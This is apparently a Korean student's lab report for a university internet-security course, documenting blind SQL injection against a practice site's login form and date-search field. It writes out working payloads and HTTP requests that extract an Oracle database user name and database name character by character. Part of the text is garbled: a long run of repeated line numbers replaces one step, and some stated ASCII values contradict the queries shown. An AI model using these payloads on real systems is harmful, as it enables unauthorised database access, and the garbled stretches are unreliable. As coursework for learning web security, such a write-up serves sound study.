

□ 단국대학교 > 사이버보안 학과 > 인터넷 보안 > 보고서 템플릿

25년 1학기 인터넷 보안 수업

Blind SQL Injection

(로그인, 날짜 검색)

2025년 3월 25일

학번 : 32230324

이름 : 김가람

과정 설명

<로그인>

Step 1. 싱글쿼터(') 넣기

: 싱글쿼터를 입력하여 SQL Injection이 가능한지 확인하기 위함

-> 싱글쿼터를 입력했을 때 SQL 에러가 발생하였다는 메시지가 출력되는 것으로 보아 SQL Injection이 가능함을 알 수 있음

```
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537  
Connection: keep-alive  
id='passwd'
```

```
14  
15 <script>  
16 alert('SQL 에러가 발생하였습니다.');//  
17 location.href='./login2.jsp'</script>  
18 <html>  
19 <body>  
20 </body>  
21 </html>  
22  
23
```

Step 2. 회원가입

: Blind SQL Injection이 가능한지 확인하려면 아이디, 비밀번호를 알고 있어야 하는데 현재 알고 있는 아이디, 패스워드가 없으므로 회원가입 후 정상적으로 로그인이 되는지 확인해줌 (ID : internet / PW : 1123)

회원가입 페이지		
아이디	internet	중복체크
비밀번호	
비밀번호 확인	
이메일	ddd	
이름	ddd	
직급	ddd	
우편번호	448539	검색
주소1	경기도 용인시 수지구 죽전동 죽전아이류아파트 (101~105동)	
주소2	ddd	
비밀번호 찾기 질문	초등학교 주소는? ▼	
비밀번호 찾기 답변	도산초	
<input type="button" value="회원가입"/> <input type="button" value="취소"/>		

- 로그인 성공 (ID/PW 을바르게)

```
Accept-Encoding: gzip, deflate, br  
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537  
Connection: keep-alive  
id=internet&passwd=1123
```

```
14  
15 <script>  
16 location.href='../main.jsp'  
17 </script>  
18 <html>  
19 <body>  
20 </body>  
21 </html>  
22
```

- 로그인 실패 (ID는 맞고 PW 틀리게)

```
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
Connection: keep-alive
id=internet&passwd=1234
```

```
16 <script>
17   alert('ID 혹은 비밀번호가 틀렸습니다.');
18   location.href='./login2.jsp'</script>
19 
20 <html>
21   <body>
22   </body>
23 </html>
```

Step 3. 참/거짓 반응 확인

: Blind SQL Injection이 가능한지 보기 위해 Step 2에서 새로 만든 계정 (ID : internet / PW : 1123)을 이용하여 참/거짓 반응을 확인하고자 함

- 참 (True)

ID : internet' AND 1 = 1 --

PW : 1123

: ID의 AND문 좌우를 참으로 입력하고, PW를 올바르게 입력하였을 때 로그인이 성공하는 것을 볼 수 있음

```
1 Accept-Language: ko-KR, ko;q=0.9, en-US;q=0.8, en;q=0.7
2 Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
3 Connection: keep-alive
4
5 id=internet' AND 1 = 1 --&passwd=1123
```

```
15 <script>
16   location.href='../main.jsp'
17 </script>
18 
19 <html>
20   <body>
21   </body>
22 </html>
```

- 거짓 (False)

ID : internet' AND 1 = 2 --

PW : 1123

: ID의 AND문 우측을 거짓으로 입력하고, PW를 올바르게 입력하였을 때 로그인이 실패하는 것을 볼 수 있음

```
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: ko-KR, ko;q=0.9, en-US;q=0.8, en;q=0.7
13 Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
14 Connection: keep-alive
15
16 id=internet' AND 1 = 2 --&passwd=1123
```

```
14 
15 <script>
16   alert('ID 혹은 비밀번호가 틀렸습니다.');
17   location.href='./login2.jsp'</script>
18 
19 <html>
20   <body>
21   </body>
22 </html>
```

Step 4. DB 유저명 추출

: DB 유저명을 가져오는 쿼리는 SELECT USER FROM DUAL인데 WHERE절 뒤에 오게 되면 USER로만 써도 됨

이는 WHERE절 내부에서는 USER가 함수처럼 작동하여 DUAL 테이블 없이도 사용 가능하기 때문임

internet' AND ASCII(SUBSTR(USER, 1, 1)) >= 0 --와 같은 쿼리엔 WHERE절이 없지만 USER라고 쓰는 이유는 아래와 같이 WHERE절이 오는 자리에서 쓰일 것을 가정한 쿼리이기 때문임
ex) SELECT * FROM USERS WHERE USERNAME = 'internet' AND ASCII(SUBSTR(USER, 1, 1)) >= 0

--
ID에 쿼리를 입력하여 Blind SQL Injection을 통해 DB 유저명을 알아내고자 함
이때, PW는 올바르게 입력함 (1123)

4-1. DB 유저명의 1번째 글자

internet' AND ASCII(SUBSTR(USER, 1, 1)) >= 73 --

internet' AND ASCII(SUBSTR(USER, 1, 1)) >= 74 --

: USER의 1번째 위치에서 1글자를 잘랐을 때 ASCII 코드가 60 이상일 때, 75 이상일 때 등 여러 상황을 넣어가며 비교해보면 73 이상일 때는 로그인에 성공하고 74 이상일 땐 로그인에 실패하는 상황이 나타나는데, DB 유저명의 1번째 ASCII 코드가 73이라는 뜻으로 이를 문자로 변환하면 'I'임

```
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
Connection: keep-alive
id=internet' AND ASCII(SUBSTR(USER, 1, 1)) >= 73 --&passwd=1123
```

```
15<script>
16    location.href='../../main.jsp'
17</script>
18<html>
19    <body>
20    </body>
21</html>
22
```

```
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
Connection: keep-alive
id=internet' AND ASCII(SUBSTR(USER, 1, 1)) >= 74 --&passwd=1123
```

```
14
15<script>
16    alert('ID 혹은 비밀번호가 틀렸습니다.');
17    location.href='../../login2.jsp'
18</script>
19<html>
20    <body>
21    </body>
22</html>
23
```

4-2. DB 유저명의 2번째 글자

internet' AND ASCII(SUBSTR(USER, 2, 1)) >= 78 --

internet' AND ASCII(SUBSTR(USER, 2, 1)) >= 79 --

: 2번째 글자의 ASCII 코드가 78 이상일 때는 로그인에 성공하고 79 이상일 땐 로그인에 실패하는 상황이 나타나는데, DB 유저명의 2번째 ASCII 코드가 78이라는 뜻으로 이를 문자로 변환하면 'N'임

```
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
Connection: keep-alive
id=internet' AND ASCII(SUBSTR(USER, 2, 1)) >= 78 --&passwd=1123
```

```
15<script>
16    location.href='../../main.jsp'
17</script>
18<html>
19    <body>
20    </body>
21</html>
22
```

```

1 Accept-Encoding: gzip, deflate, br
2 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
3 Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
4 Connection: keep-alive
5 id=internet' AND ASCII(SUBSTR(USER, 2, 1)) >= 79 --&passwd=1123
6
7
8
9
10
11
12
13
14
15 <script>
16   alert('ID 혹은 비밀번호가 틀렸습니다.');
17   location.href='./login2.jsp'</script>
18
19 <html>
20   <body>
21   </body>
22 </html>
23

```

4-3. DB 유저명의 3번째 글자

internet' AND ASCII(SUBSTR(USER, 3, 1)) >= 70 --

internet' AND ASCII(SUBSTR(USER, 3, 1)) >= 71 --

: 3번째 글자의 ASCII 코드가 70 이상일 때는 로그인에 성공하고 71 이상일 땐 로그인에 실패하는 상황이 나타나는데, DB 유저명의 3번째 ASCII 코드가 70이라는 뜻으로 이를 문자로 변환하면 'F'임

```

1 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
2 Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
3 Connection: keep-alive
4
5 id=internet' AND ASCII(SUBSTR(USER, 3, 1)) >= 70 --&passwd=1123
6
7
8
9
10
11
12
13
14
15 <script>
16   location.href='../main.jsp'
17 </script>
18
19 <html>
20   <body>
21   </body>
22 </html>
23
24
25
26
27
28
29
30
31
32
33
34
35 <script>
36   alert('ID 혹은 비밀번호가 틀렸습니다.');
37   location.href='./login2.jsp'</script>
38
39 <html>
40   <body>
41   </body>
42 </html>
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
59
60
61
62
63
64
65
66
67
68
69
69
70
71
72
73
74
75
76
77
78
79
79
80
81
82
83
84
85
86
87
88
89
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
109
110
111
112
113
114
115
116
117
118
119
119
120
121
122
123
124
125
126
127
128
129
129
130
131
132
133
134
135
136
137
138
139
139
140
141
142
143
144
145
146
147
148
149
149
150
151
152
153
154
155
156
157
158
159
159
160
161
162
163
164
165
166
167
168
169
169
170
171
172
173
174
175
176
177
178
179
179
180
181
182
183
184
185
186
187
188
189
189
190
191
192
193
194
195
196
197
198
199
199
200
201
202
203
204
205
206
207
208
209
209
210
211
212
213
214
215
216
217
218
219
219
220
221
222
223
224
225
226
227
228
229
229
230
231
232
233
234
235
236
237
237
238
239
239
240
241
242
243
244
245
245
246
247
248
249
249
250
251
252
253
254
255
255
256
257
258
259
259
260
261
262
263
264
265
265
266
267
268
269
269
270
271
272
273
274
275
275
276
277
278
279
279
280
281
282
283
284
285
285
286
287
288
289
289
290
291
292
293
294
294
295
296
297
297
298
299
299
300
301
302
303
303
304
305
306
307
307
308
309
309
310
311
312
313
313
314
315
316
316
317
318
319
319
320
321
322
323
323
324
325
326
326
327
328
329
329
330
331
332
332
333
334
335
335
336
337
337
338
339
339
340
341
342
342
343
344
345
345
346
347
347
348
349
349
350
351
352
352
353
354
354
355
356
356
357
358
358
359
359
360
361
361
362
363
363
364
364
365
366
366
367
367
368
368
369
369
370
371
371
372
372
373
373
374
374
375
375
376
376
377
377
378
378
379
379
380
380
381
381
382
382
383
383
384
384
385
385
386
386
387
387
388
388
389
389
390
390
391
391
392
392
393
393
394
394
395
395
396
396
397
397
398
398
399
399
400
400
401
401
402
402
403
403
404
404
405
405
406
406
407
407
408
408
409
409
410
410
411
411
412
412
413
413
414
414
415
415
416
416
417
417
418
418
419
419
420
420
421
421
422
422
423
423
424
424
425
425
426
426
427
427
428
428
429
429
430
430
431
431
432
432
433
433
434
434
435
435
436
436
437
437
438
438
439
439
440
440
441
441
442
442
443
443
444
444
445
445
446
446
447
447
448
448
449
449
450
450
451
451
452
452
453
453
454
454
455
455
456
456
457
457
458
458
459
459
460
460
461
461
462
462
463
463
464
464
465
465
466
466
467
467
468
468
469
469
470
470
471
471
472
472
473
473
474
474
475
475
476
476
477
477
478
478
479
479
480
480
481
481
482
482
483
483
484
484
485
485
486
486
487
487
488
488
489
489
490
490
491
491
492
492
493
493
494
494
495
495
496
496
497
497
498
498
499
499
500
500
501
501
502
502
503
503
504
504
505
505
506
506
507
507
508
508
509
509
510
510
511
511
512
512
513
513
514
514
515
515
516
516
517
517
518
518
519
519
520
520
521
521
522
522
523
523
524
524
525
525
526
526
527
527
528
528
529
529
530
530
531
531
532
532
533
533
534
534
535
535
536
536
537
537
538
538
539
539
540
540
541
541
542
542
543
543
544
544
545
545
546
546
547
547
548
548
549
549
550
550
551
551
552
552
553
553
554
554
555
555
556
556
557
557
558
558
559
559
560
560
561
561
562
562
563
563
564
564
565
565
566
566
567
567
568
568
569
569
570
570
571
571
572
572
573
573
574
574
575
575
576
576
577
577
578
578
579
579
580
580
581
581
582
582
583
583
584
584
585
585
586
586
587
587
588
588
589
589
590
590
591
591
592
592
593
593
594
594
595
595
596
596
597
597
598
598
599
599
600
600
601
601
602
602
603
603
604
604
605
605
606
606
607
607
608
608
609
609
610
610
611
611
612
612
613
613
614
614
615
615
616
616
617
617
618
618
619
619
620
620
621
621
622
622
623
623
624
624
625
625
626
626
627
627
628
628
629
629
630
630
631
631
632
632
633
633
634
634
635
635
636
636
637
637
638
638
639
639
640
640
641
641
642
642
643
643
644
644
645
645
646
646
647
647
648
648
649
649
650
650
651
651
652
652
653
653
654
654
655
655
656
656
657
657
658
658
659
659
660
660
661
661
662
662
663
663
664
664
665
665
666
666
667
667
668
668
669
669
670
670
671
671
672
672
673
673
674
674
675
675
676
676
677
677
678
678
679
679
680
680
681
681
682
682
683
683
684
684
685
685
686
686
687
687
688
688
689
689
690
690
691
691
692
692
693
693
694
694
695
695
696
696
697
697
698
698
699
699
700
700
701
701
702
702
703
703
704
704
705
705
706
706
707
707
708
708
709
709
710
710
711
711
712
712
713
713
714
714
715
715
716
716
717
717
718
718
719
719
720
720
721
721
722
722
723
723
724
724
725
725
726
726
727
727
728
728
729
729
730
730
731
731
732
732
733
733
734
734
735
735
736
736
737
737
738
738
739
739
740
740
741
741
742
742
743
743
744
744
745
745
746
746
747
747
748
748
749
749
750
750
751
751
752
752
753
753
754
754
755
755
756
756
757
757
758
758
759
759
760
760
761
761
762
762
763
763
764
764
765
765
766
766
767
767
768
768
769
769
770
770
771
771
772
772
773
773
774
774
775
775
776
776
777
777
778
778
779
779
780
780
781
781
782
782
783
783
784
784
785
785
786
786
787
787
788
788
789
789
790
790
791
791
792
792
793
793
794
794
795
795
796
796
797
797
798
798
799
799
800
800
801
801
802
802
803
803
804
804
805
805
806
806
807
807
808
808
809
809
810
810
811
811
812
812
813
813
814
814
815
815
816
816
817
817
818
818
819
819
820
820
821
821
822
822
823
823
824
824
825
825
826
826
827
827
828
828
829
829
830
830
831
831
832
832
833
833
834
834
835
835
836
836
837
837
838
838
839
839
840
840
841
841
842
842
843
843
844
844
845
845
846
846
847
847
848
848
849
849
850
850
851
851
852
852
853
853
854
854
855
855
856
856
857
857
858
858
859
859
860
860
861
861
862
862
863
863
864
864
865
865
866
866
867
867
868
868
869
869
870
870
871
871
872
872
873
873
874
874
875
875
876
876
877
877
878
878
879
879
880
880
881
881
882
882
883
883
884
884
885
885
886
886
887
887
888
888
889
889
890
890
891
891
892
892
893
893
894
894
895
895
896
896
897
897
898
898
899
899
900
900
901
901
902
902
903
903
904
904
905
905
906
906
907
907
908
908
909
909
910
910
911
911
912
912
913
913
914
914
915
915
916
916
917
917
918
918
919
919
920
920
921
921
922
922
923
923
924
924
925
925
926
926
927
927
928
928
929
929
930
930
931
931
932
932
933
933
934
934
935
935
936
936
937
937
938
938
939
939
940
940
941
941
942
942
943
943
944
944
945
945
946
946
947
947
948
948
949
949
950
950
951
951
952
952
953
953
954
954
955
955
956
956
957
957
958
958
959
959
960
960
961
961
962
962
963
963
964
964
965
965
966
966
967
967
968
968
969
969
970
970
971
971
972
972
973
973
974
974
975
975
976
976
977
977
978
978
979
979
980
980
981
981
982
982
983
983
984
984
985
985
986
986
987
987
988
988
989
989
990
990
991
991
992
992
993
993
994
994
995
995
996
996
997
997
998
998
999
999
1000
1000
1001
1001
1002
1002
1003
1003
1004
1004
1005
1005
1006
1006
1007
1007
1008
1008
1009
1009
1010
1010
1011
1011
1012
1012
1013
1013
1014
1014
1015
1015
1016
1016
1017
1017
1018
1018
1019
1019
1020
1020
1021
1021
1022
1022
1023
1023
1024
1024
1025
1025
1026
1026
1027
1027
1028
1028
1029
1029
1030
1030
1031
1031
1032
1032
1033
1033
1034
1034
1035
1035
1036
1036
1037
1037
1038
1038
1039
1039
1040
1040
1041
1041
1042
1042
1043
1043
1044
1044
1045
1045
1046
1046
1047
1047
1048
1048
1049
1049
1050
1050
1051
1051
1052
1052
1053
1053
1054
1054
1055
1055
1056
1056
1057
1057
1058
1058
1059
1059
1060
1060
1061
1061
1062
1062
1063
1063
1064
1064
1065
1065
1066
1066
1067
1067
1068
1068
1069
1069
1070
1070
1071
1071
1072
1072
1073
1073
1074
1074
1075
1075
1076
1076
1077
1077
1078
1078
1079
1079
1080
1080
1081
1081
1082
1082
1083
1083
1084
1084
1085
1085
1086
1086
1087
1087
1088
1088
1089
1089
1090
1090
1091
1091
1092
1092
1093
1093
1094
1094
1095
1095
1096
1096
1097
1097
1098
1098
1099
1099
1100
1100
1101
1101
1102
1102
1103
1103
1104
1104
1105
1105
1106
1106
1107
1107
1108
1108
1109
1109
1110
1110
1111
1111
1112
1112
1113
1113
1114
1114
1115
1115
1116
1116
1117
1117
1118
1118
1119
1119
1120
1120
1121
1121
1122
1122
1123
1123
1124
1124
1125
1125
1126
1126
1127
1127
1128
1128
1129
1129
1130
1130
1131
1131
1132
1132
1133
1133
1134
1134
1135
1135
1136
1136
1137
1137
1138
1138
1139
1139
1140
1140
1141
1141
1142
1142
1143
1143
1144
1144
1145
1145
1146
1146
1147
1147
1148
1148
1149
1149
1150
1150
1151
1151
1152
1152
1153
1153
1154
1154
1155
1155
1156
1156
1157
1157
1158
1158
1159
1159
1160
1160
1161
1161
1162
1162
1163
1163
1164
1164
1165
1165
1166
1166
1167
1167
1168
1168
1169
1169
1170
1170
1171
1171
1172
1172
1173
1173
1174
1174
1175
1175
1176
1176
1177
1177
1178
1178
1179
1179
1180
1180
1181
1181
1182
1182
1183
1183
1184
1184
1185
1185
1186
1186
1187
1187
1188
1188
1189
1189
1190
1190
1191
1191
1192
1192
1193
1193
1194
1194
1195
1195
1196
1196
1197
1197
1198
1198
1199
1199
1200
1200
1201
1201
1202
1202
1203
1203
1204
1204
1205
1205
1206
1206
1207
1207
1208
1208
1209
1209
1210
1210
1211
1211
1212
1212
1213
1213
1214
1214
1215
1215
1216
1216
1217
1217
1218
1218
1219
1219
1220
1220
1221
1221
1222
1222
1223
1223
1224
1224
1225
1225
1226
1226
1227
1227
1228
1228
1229
1229
1230
1230
1231
1231
1232
1232
1233
1233
1234
1234
1235
1235
1236
1236
1237
1237
1238
1238
1239
1239
1240
1240
1241
1241
1242
1242
1243
1243
1244
1244
1245
1245
1246
1246
1247
1247
1248
1248
1249
1249
1250
1250
1251
1251
1252
1252
1253
1253
1254
1254
1255
1255
1256
1256
1257
1257
1258
1258
1259
1259
1260
1260
1261
1261
1262
1262
1263
1263
1264
1264
1265
1265
1266
1266
1267
1267
1268
1268
1269
1269
1270
1270
1271
1271
1272
1272
1273
1273
1274
1274
1275
1275
1276
1276
1277
1277
1278
1278
1279
1279
1280
1280
1281
1281
1282
1282
1283
1283
1284
1284
1285
1285
1286
1286
1287
1287
1288
1288
1289
1289
1290
1290
1291
1291
1292
1292
1293
1293
1294
1294
1295
1295
1296
1296
1297
1297
1298
1298
1299
1299
1300
1300
1301
1301
1302
1302
1303
1303
1304
1304
1305
1305
1306
1306
1307
1307
1308
1308
1309
1309
1310
1310
1311
1311
1312
1312
1313
1313
1314
1314
1315
1315
1316
1316
1317
1317
1318
1318
1319
1319
1320
1320
1321
1321
1322
1322
1323
1323
1324
1324
1325
1325
1326
1326
1327
1327
1328
1328
1329
1329
1330
1330
1331
1331
1332
1332
1333
1333
1334
1334
1335
1335
1336
1336
1337
1337
1338
1338
1339
1339
1340
1340
1341
1341
1342
1342
1343
1343
1344
1344
1345
1345
1346
1346
1347
1347
1348
1348
1349
1349
1350
1350
1351
1351
1352
1352
1353
1353
1354
1354
1355
1355
1356
1356
1357
1357
1358
1358
1359
1359
1360
1360
1361
1361
1362
1362
1363
1363
1364
1364
1365
1365
1366
1366
1367
1367
1368
1368
1369
1369
1370
1370
1371
1371
1372
1372
1373
1373
1374
1374
1375
1375
1376
1376
1377
1377
13
```

4-5. DB 유저명의 5번째 글자

internet' AND ASCII(SUBSTR(USER, 5, 1)) >= 79 --

internet' AND ASCII(SUBSTR(USER, 5, 1)) >= 80 --

: 5번째 글자의 ASCII 코드가 83 이상일 때는 로그인에 성공하고 84 이상일 땐 로그인에 실패하는 상황이 나타나는데, DB 유저명의 5번째 ASCII 코드가 83이라는 뜻으로 이를 문자로 변환하면 'S'임

```
3 Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
4 Connection:keep-alive
5
6 id=internet' AND ASCII(SUBSTR(USER, 5, 1)) >= 83 --&passwd=1123
7
8 Accept-Encoding: gzip, deflate, br
9 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
10 Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
11 Connection:keep-alive
12
13 id=internet' AND ASCII(SUBSTR(USER, 5, 1)) >= 84 --&passwd=1123
14
15 <script>
16   location.href='../../main.jsp'
17 </script>
18 <html>
19   <body>
20   </body>
21 </html>
22
23
14
15 <script>
16   alert('ID 혹은 비밀번호가 틀렸습니다.');
17   location.href='../login2.jsp'</script>
18 <html>
19   <body>
20   </body>
21 </html>
22
23
```

4-6. DB 유저명의 6번째 글자

internet' AND ASCII(SUBSTR(USER, 6, 1)) >= 79 --

internet' AND ASCII(SUBSTR(USER, 6, 1)) >= 80 --

: 6번째 글자의 ASCII 코드가 69 이상일 때는 로그인에 성공하고 70 이상일 땐 로그인에 실패하는 상황이 나타나는데, DB 유저명의 6번째 ASCII 코드가 69라는 뜻으로 이를 문자로 변환하면 'E'임

```
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
Connection:keep-alive
id=internet' AND ASCII(SUBSTR(USER, 6, 1)) >= 69 --&passwd=1123
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
Connection:keep-alive
id=internet' AND ASCII(SUBSTR(USER, 6, 1)) >= 70 --&passwd=1123
15 <script>
16   location.href='../../main.jsp'
17 </script>
18 <html>
19   <body>
20   </body>
21 </html>
22
23
14
15 <script>
16   alert('ID 혹은 비밀번호가 틀렸습니다.');
17   location.href='../login2.jsp'</script>
18 <html>
19   <body>
20   </body>
21 </html>
22
23
```

(다음 페이지에 이어서)

4-7. DB 유저명의 7번째 글자

internet' AND ASCII(SUBSTR(USER, 7, 1)) >= 79 --

internet' AND ASCII(SUBSTR(USER, 7, 1)) >= 80 --

: 7번째 글자의 ASCII 코드가 67 이상일 때는 로그인에 성공하고 68 이상일 땐 로그인에 실패하는 상황이 나타나는데, DB 유저명의 7번째 ASCII 코드가 67이라는 뜻으로 이를 문자로 변환하면 'C'임

```
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
Connection:keep-alive
id=internet' AND ASCII(SUBSTR(USER, 7, 1)) >= 67 --&passwd=1123

Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
Connection:keep-alive
id=internet' AND ASCII(SUBSTR(USER, 7, 1)) >= 68 --&passwd=1123

16 <script>
17   location.href='../../main.jsp'
18 </script>
19
20 <html>
21   <body>
22     </body>
23 </html>

14
15
16 <script>
17   alert('ID 혹은 비밀번호가 틀렸습니다.');
18   location.href='../../login2.jsp'</script>
19
20 <html>
21   <body>
22     </body>
23 </html>
```

Step 5. 최종 확인

internet' AND USER = 'INFOSEC' --

: ID 칸에 다음 쿼리를 넣고 비밀번호를 올바르게 입력한 결과, 로그인에 성공하는 것으로 보아 DB 유저명은 INFOSEC이 맞음을 알 수 있음

```
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=BC8307A95721B3C3A7EBACED417EE537
Connection:keep-alive
id=internet' AND USER = 'INFOSEC' --&passwd=1123

14
15
16 <script>
17   location.href='../../main.jsp'
18 </script>
19
20 <html>
21   <body>
22     </body>
23 </html>
```

<날짜>

Step 1. 로그인 하기

: DB 유저명을 구하는 과정에서 회원가입한 계정으로 로그인 함

ID : internet / PW : 1123

```
Connection:keep-alive
id=internet&passwd=1123

17   location.href='../../main.jsp'
18 </script>
19
20 <html>
21   <body>
22     </body>
23 </html>
```

(다음 페이지에 이어서)

Step 2. repeater로 보내기

: 실습을 진행하고자 하는 사이트 (게시판 부분)를 repeater로 보내보면 GET 방식임
GET 방식에선 데이터가 URL에 포함되므로 쿼리를 자동으로 URL 인코딩을 수행하는데, 이
과정에서 필터링이 작동할 수도 있고 의도한 쿼리가 제대로 전달되지 않을 가능성이 있기에
POST 방식으로 변환해주어야 함
Request에 있는 부분을 드래그 후 우클릭하여 change request method를 누르면 POST
방식으로 변환할 수 있음

게시글 검색란에 1을 검색한 결과들 중 게시자가 internet인 경우를 찾아보면 1개의 결과가 나옴을 알 수 있음

- GET 방식

Request	Response
Pretty Raw Hex	Pretty Raw Hex Render
1 GET /ha/board/boardList.jsp?check1=SUBJECT&searchType=ALL&searchText=1&date=20150101&date	127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142
=20151231 HTTP/1.1	<tr> <td align="center"> 3475 </td> <td align="center"> Free </td> <td align="center"> board/view.jsp?num=3475 1 </td> </tr>
2 Host: shanhy.co.kr:38081	<td align="center"> - </td> <td align="center"> internet </td> <td align="center"> 2025-03-25 </td> <td align="center"> 15 </td> </tr>
3 Upgrade-Insecure-Requests: 1	<tr> <td align="center"> 3470 </td> <td align="center"> Free </td> <td align="center"> board/view.jsp?num=3470 1 </td> </tr>
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)	
Chrome/134.0.0.0 Safari/537.36	
5 Accept:	
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=bd;q=0.7	
6 Referer: http://shanhy.co.kr:38081/ha/board/boardList.jsp	
7 Accept-Encoding: gzip, deflate, br	
8 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7	
9 Cookie: JSESSIONID=022FA9050806400401089388040F20198	
10 Connection:keep-alive	
11	
12	

- POST 방식

Step 3. DATE 형식 맞추기

```
'YYYYMMDD')--
```

: Date=20251231처럼 되어있는 것을 DATE 타입으로 바꿔주어야 함

이때 TO_DATE 함수는 문자열을 날짜 형식으로 변환할 때 사용됨

이를 활용하면 문자열을 DATE로 변환해주기에 오류 없이 쿼리를 작성할 수 있음

'YYYYMMDD')-- 를 날짜란의 20251231 뒤에 입력하여 1을 검색해보면 Step 2와 똑같이 게시자가 internet인 결과가 1개 나오는 것으로 보아 오류 없이 동작한다는 것을 알 수 있음

문자열을 DATE형으로 바꾸는 법

ex) 2019년 06월 01일 이상 2019년 08월 01일 이하 리스트 조회

```
SELECT *
  FROM SIS_ITEM
 WHERE REGDATE >= TO_DATE('20190601', 'YYYYMMDD') AND REGDATE <= TO_DATE('20190801');
```

```
SELECT *
  FROM SIS_ITEM
 WHERE REGDATE BETWEEN TO_DATE('20190601', 'YYYYMMDD') AND TO_DATE('20190801');
```

위에 2개 코드는 같은 결과를 보여주지만 아래는 BETWEEN을 썼다. BETWEEN을 사용하는것이 더 편하다.

여기서도 주의할 점은 문자열에 TO_DATE 함수를 써서 DATE 자료형으로 변경해 주어야 하는것이다.

Step 4. 참/거짓 반응 확인

: Blind SQL Injection이 가능한지 보기 위해 참/거짓 반응을 확인하고자 함

- 참 (True)

```
'YYYYMMDD') AND 1 = 1--
```

: AND문의 양쪽을 참으로 하여 검색해보면 게시자가 internet인 결과가 1개 나오는 것으로

참 반응을 확인할 수 있음

- 거짓 (False)

','YYYYMMDD') AND 1 = 2--

: False문의 우측을 거짓으로 하여 검색해보면 검색에 실패하는 것으로 거짓 반응을 확인할 수 있음

```
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 98
13
14 check1=SUBJECT&searchType=ALL&searchText=1&eDate=20150101&eDate=20251231','YYYYMMDD') AND 1
= 2 --
```

```
14 <html>
15   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
16   </meta>
17   <body>
18     <table width="800" height="700" border="1" cellpadding="2" cellspacing="0" align="center">
19       <tr>
20         <!-- left -->
21         <td rowspan="2" width="200" height="700">
22           <table>
23             <tr>
24               <td width="200" height="100">
25                 <center>
26                   
28                 </center>
29               </td>
30             </tr>
31             <tr>
32               <td width="200" height="300">
33                 로그인 안하고 보이는 텍스트 1
34               </td>
35             </tr>
36           </table>
37         </td>
38       </tr>
39     </table>
40   </body>
41 </html>
```

① ② ③ ④ Search 0 highlights ① ② ③ ④ internet 0 highlights

Step 5. 현재 DB명 추출

: 현재 DB명을 추출하는 쿼리는 SELECT SYS DATABASE_NAME FROM DUAL임

이도 DB 유저명을 추출하는 쿼리처럼 WHERE절 뒤에 올 땐 SYS DATABASE_NAME만 써도 됨

5-1. 현재 DB명의 1번째 글자

','YYYYMMDD') AND ASCII(SUBSTR(SYS.DATABASE_NAME, 1, 1)) >= 79 --

','YYYYMMDD') AND ASCII(SUBSTR(SYS.DATABASE_NAME, 1, 1)) >= 80 --

: 1번째 글자의 ASCII 코드가 79 이상일 때는 게시자가 internet인 결과가 1개 나오는 것으로 보아 검색에 성공한 것을 알 수 있고, 80 이상일 땐 검색에 실패하였는데, 현재 DB명의 1번째 ASCII 코드가 79라는 뜻으로 이를 문자로 변환하면 'O'임

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
check1=SUBJECT&searchType=ALL&searchText=1&eDate=20150101&eDate=20251231','YYYYMMDD') AND
ASCII(SUBSTR(SYS.DATABASE_NAME, 1, 1)) >= 79--
```

```
121   <td align="center">
122     -
123   <td align="center">
124     internet
125   <td align="center">
2025-03-25
<td>
15
```

Content-Type: application/x-www-form-urlencoded
Content-Length: 136
check1=SUBJECT&searchType=ALL&searchText=1&eDate=20150101&eDate=20251231','YYYYMMDD') AND
ASCII(SUBSTR(SYS.DATABASE_NAME, 1, 1)) >= 80--

```
14 <html>
15   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
16   </meta>
17   <body>
18     <table width="800" height="700" border="1" cellpadding="2" cellspacing="0" align="center">
19       <tr>
20         <!-- left -->
21         <td rowspan="2" width="200" height="700">
22           <table>
23             <tr>
24               <td width="200" height="100">
25                 <center>
26                   
28                 </center>
29               </td>
30             </tr>
31             <tr>
32               <td width="200" height="300">
